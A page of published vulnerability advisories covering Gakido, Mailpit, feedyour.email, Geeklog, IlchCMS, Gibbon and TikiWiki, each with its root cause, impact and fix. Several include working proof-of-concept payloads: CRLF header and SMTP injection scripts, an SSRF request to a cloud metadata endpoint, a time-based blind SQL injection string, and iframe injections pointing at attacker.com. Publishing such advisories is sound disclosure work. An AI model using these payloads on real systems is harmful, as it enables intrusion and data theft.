Rosecurify - Advisories

Gakido - CRLF Injection

2026-01-26T00:00:00Z

Overview #

A vulnerability was discovered in Gakido that allowed HTTP header injection through CRLF (Carriage Return Line Feed) sequences in user-supplied header values and names.

Vulnerability Details #

When making HTTP requests with user-controlled header values containing \r\n (CRLF), \n (LF), or \x00 (null byte) characters, an attacker could inject arbitrary HTTP headers into the request.

Affected Code: The vulnerability existed in the header processing logic where user-supplied headers were not sanitized before being sent in HTTP requests.

File: gakido/headers.py
Function: canonicalize_headers()

Impact #

An attacker who can control header values passed to Gakido's Client.get(), Client.post(), or other request methods could:

Inject arbitrary HTTP headers - Add malicious headers to requests
HTTP Response Splitting - Potentially manipulate responses in certain proxy configurations
Cache Poisoning - Inject headers that could poison intermediate caches
Session Fixation - Inject session-related headers
Bypass Security Controls - Inject headers that bypass server-side security checks

Proof of Concept #

from gakido import Client

# Before fix: X-Injected header would be sent as a separate header
c = Client(impersonate="chrome_120")
r = c.get("https://httpbin.org/headers", headers={
    "User-Agent": "test\r\nX-Injected: pwned"
})

References #

Mailpit - SMTP CRLF Injection via Regex Bypass

2026-01-18T00:00:00Z

Overview #

A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.

Vulnerability Details #

Affected Versions: <= v1.28.2

Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.

Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:

rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)

Exploitation Requirements #

Network access to SMTP port (default 1025)
No authentication required

Impact #

Remote attackers can exploit this vulnerability to:

Inject arbitrary SMTP headers
Corrupt email metadata and Received headers
Generate malformed .eml files
Violate RFC 5321 compliance

Proof of Concept #

import socket

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 1025))
    s.recv(1024)
    s.send(b"EHLO test.com\r\n")
    s.recv(1024)
    s.send(b"MAIL FROM:<attacker@evil.com>\r\n")
    s.recv(1024)
    # Injecting \r
    payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
    s.send(payload)
    resp = s.recv(1024)
    print(f"Server Response: {resp.decode()}")  # Expect 250 OK
    s.close()

exploit()

Solution #

Upgrade to Mailpit version 1.28.3 or later.

References #

feedyour.email - SQL Injection via Search Parameter

2026-01-13T00:00:00Z

Overview #

A SQL Injection vulnerability exists in feedyour.email. The vulnerability allows remote attackers to execute arbitrary SQL commands via the search functionality.

Vulnerability Details #

Affected Versions: <=2.4.1

Root Cause: The search parameter (params[:q]) is passed directly to the SQLite search() function without proper sanitization, allowing attackers to inject malicious SQL commands.

Vulnerable Code: The vulnerability exists in app/controllers/posts_controller.rb where user input is directly passed to the search function:

@posts = @posts.search(params[:q]).to_a

Exploitation Requirements #

No authentication required.
Attacker must have access to the search functionality.

Impact #

Remote attackers can exploit this vulnerability to:

Extract sensitive data from the database.
Modify or delete database contents.
Bypass authentication mechanisms.
Potentially achieve remote code execution depending on database configuration.

Proof of Concept #

Using sqlmap, the search parameter was confirmed vulnerable to SQL injection attacks. Boolean-based blind and UNION-based injections were successfully demonstrated.

Solution #

Upgrade to a patched version of feedyour.email that includes proper input sanitization using character whitelisting.

References #

Mailpit - Cross-Site WebSocket Hijacking (CSWSH)

2026-01-10T00:00:00Z

Overview #

A Cross-Site WebSocket Hijacking (CSWSH) vulnerability exists in Mailpit. The vulnerability allows remote attackers to intercept sensitive data such as email contents, headers, and server statistics in real-time.

Vulnerability Details #

Affected Versions: <=1.28.1

Root Cause: The Mailpit WebSocket server is configured to accept connections from any origin. This lack of Origin header validation allows attackers to hijack WebSocket connections.

Vulnerable Code: The vulnerability exists in server/websockets/client.go where the CheckOrigin function is explicitly set to return true for all requests, bypassing standard Same-Origin Policy (SOP) protections provided by the gorilla/websocket library.

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    CheckOrigin: func(r *http.Request) bool {
        return true
    },
    EnableCompression: true,
}

Exploitation Requirements #

No authentication required.
Victim must visit a malicious website while running Mailpit locally.

Impact #

Remote attackers can exploit this vulnerability to:

Intercept sensitive email data (subjects, bodies, recipients).
Access server statistics.
Receive real-time notifications of new emails.

Proof of Concept #

An attacker can host a malicious website that establishes a WebSocket connection to the victim's Mailpit instance (e.g., ws://localhost:8025/api/events). Since the origin check is disabled, the browser allows this cross-origin connection, leaking all broadcasted events to the attacker.

Solution #

Upgrade to the latest version of Mailpit (1.21.1 or later) which implements proper Origin validation or removes the unsafe check to allow the library's default protection.

References #

GHSA-524m-q5m7-79mm

Mailpit - Server-Side Request Forgery (SSRF)

2026-01-06T00:00:00Z

Overview #

A Server-Side Request Forgery (SSRF) vulnerability exists in Mailpit's /proxy endpoint that allows attackers to make requests to internal network resources.

Vulnerability Details #

Affected Versions: < 1.28.0

Location: /api/v1/proxy endpoint

Affected Parameter: url

Root Cause: The vulnerability exists due to insufficient validation of user-supplied URLs. Attackers can supply internal URLs that the server will fetch on their behalf.

Exploitation Requirements #

No authentication required
Direct access to the Mailpit web interface

Impact #

Remote attackers can exploit this vulnerability to:

Access internal services (databases, APIs)
Scan internal network resources
Access cloud metadata endpoints (AWS, GCP, Azure)
Potentially pivot to internal systems

Proof of Concept #

GET /api/v1/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: mailpit.target.com

Solution #

Upgrade to Mailpit version 1.28.1 or later, which includes proper URL validation for the proxy endpoint.

References #

Geeklog 2.2.1 - Cross-site Scripting

2020-01-01T00:00:00Z

Overview #

A Cross-site Scripting (XSS) vulnerability exists in Geeklog CMS version 2.2.1. The vulnerability allows remote attackers to inject arbitrary web script or HTML.

Vulnerability Details #

Affected Versions: 2.2.1 and earlier

Root Cause: Insufficient input validation and output encoding allows attackers to inject malicious scripts.

Exploitation Requirements #

No authentication required
Victim must visit a crafted URL or page

Impact #

Remote attackers can exploit this vulnerability to:

Steal user session cookies
Perform actions on behalf of users
Access CMS content

Proof of Concept #

Details available upon request.

Solution #

Upgrade to a patched version of Geeklog that includes proper input sanitization.

References #

Invicti Advisory NS-20-001

Geeklog 2.2.1 - Blind SQL Injection

2020-01-01T00:00:00Z

Overview #

A Blind SQL Injection vulnerability exists in Geeklog CMS version 2.2.1. The vulnerability allows remote attackers to execute arbitrary SQL commands via the uid parameter in comment.php.

Vulnerability Details #

Affected Versions: 2.2.1 and earlier

Location: comment.php

Affected Parameter: uid

Root Cause: Insufficient input validation on the uid parameter allows SQL Injection attacks.

Exploitation Requirements #

No authentication required
Direct access to the comment endpoint

Impact #

Remote attackers can exploit this vulnerability to:

Extract sensitive data from the database
Bypass authentication mechanisms
Modify or delete database content

Proof of Concept #

POST /geeklog-2.2.1/public_html/comment.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

uid=2+++((SELECT+1+FROM+(SELECT+SLEEP(25))A))/*'XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR'|"XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR"*/

Time-based Blind SQL Injection: If the server response is delayed by 25 seconds, the target is vulnerable.

Solution #

Upgrade to a patched version of Geeklog that includes proper input sanitization and parameterized queries.

References #

Invicti Advisory NS-20-002

IlchCMS 2.1.37 - Cross-site Scripting

2020-01-01T00:00:00Z

Overview #

A Cross-site Scripting (XSS) vulnerability exists in IlchCMS version 2.1.37. The vulnerability allows remote attackers to inject arbitrary web script or HTML.

Vulnerability Details #

Affected Versions: 2.1.37 and earlier

Root Cause: Insufficient input validation and output encoding allows attackers to inject malicious scripts.

Exploitation Requirements #

No authentication required
Victim must visit a crafted URL or page

Impact #

Remote attackers can exploit this vulnerability to:

Steal user session cookies
Perform actions on behalf of users
Redirect users to malicious websites

Proof of Concept #

Details available upon request.

Solution #

Upgrade to a patched version of IlchCMS that includes proper input sanitization.

References #

Vendor notification sent

Gibbon v14.0.01 - Frame Injection Vulnerabilities

2018-06-28T00:00:00Z

Overview #

Frame Injection vulnerabilities exist in Gibbon v14.0.01. These vulnerabilities allow remote attackers to inject arbitrary HTML frames into the application.

Vulnerability Details #

Affected Versions: v14.0.01 and earlier

Root Cause: Insufficient input validation allows attackers to inject iframe elements.

Technical Details #

Install Page:

URL: /gibbon-install/installer/install.php?step=2
Parameters: databaseServer, databaseUsername (POST)
Attack Pattern: <iframe src="http://attacker.com/"></iframe>

Frontend:

URL: /core/index.php?q=/modules/Resources/resources_view.php
Parameter: tag (GET)
Attack Pattern: <iframe src="http://attacker.com/"></iframe>

Exploitation Requirements #

No authentication required for frontend vulnerability
Access to install page (typically restricted)

Impact #

Remote attackers can exploit these vulnerabilities to:

Inject malicious frames into the application
Perform clickjacking attacks
Load external malicious content

Solution #

Update to a patched version of Gibbon.

References #

Invicti Advisory NS-18-002

TikiWiki 17.1 - Cross-site Scripting

2018-01-01T00:00:00Z

Overview #

A Cross-site Scripting (XSS) vulnerability exists in TikiWiki CMS version 17.1. The vulnerability allows remote attackers to inject arbitrary web script or HTML.

Vulnerability Details #

Affected Versions: 17.1 and earlier

Root Cause: Insufficient input validation and output encoding allows attackers to inject malicious scripts.

Exploitation Requirements #

No authentication required
Victim must visit a crafted URL or page

Impact #

Remote attackers can exploit this vulnerability to:

Steal admin session cookies
Access wiki content
Perform actions on behalf of users

Proof of Concept #

Details available upon request.

Solution #

Upgrade to a patched version of TikiWiki that includes proper input sanitization.

References #

Vendor notification sent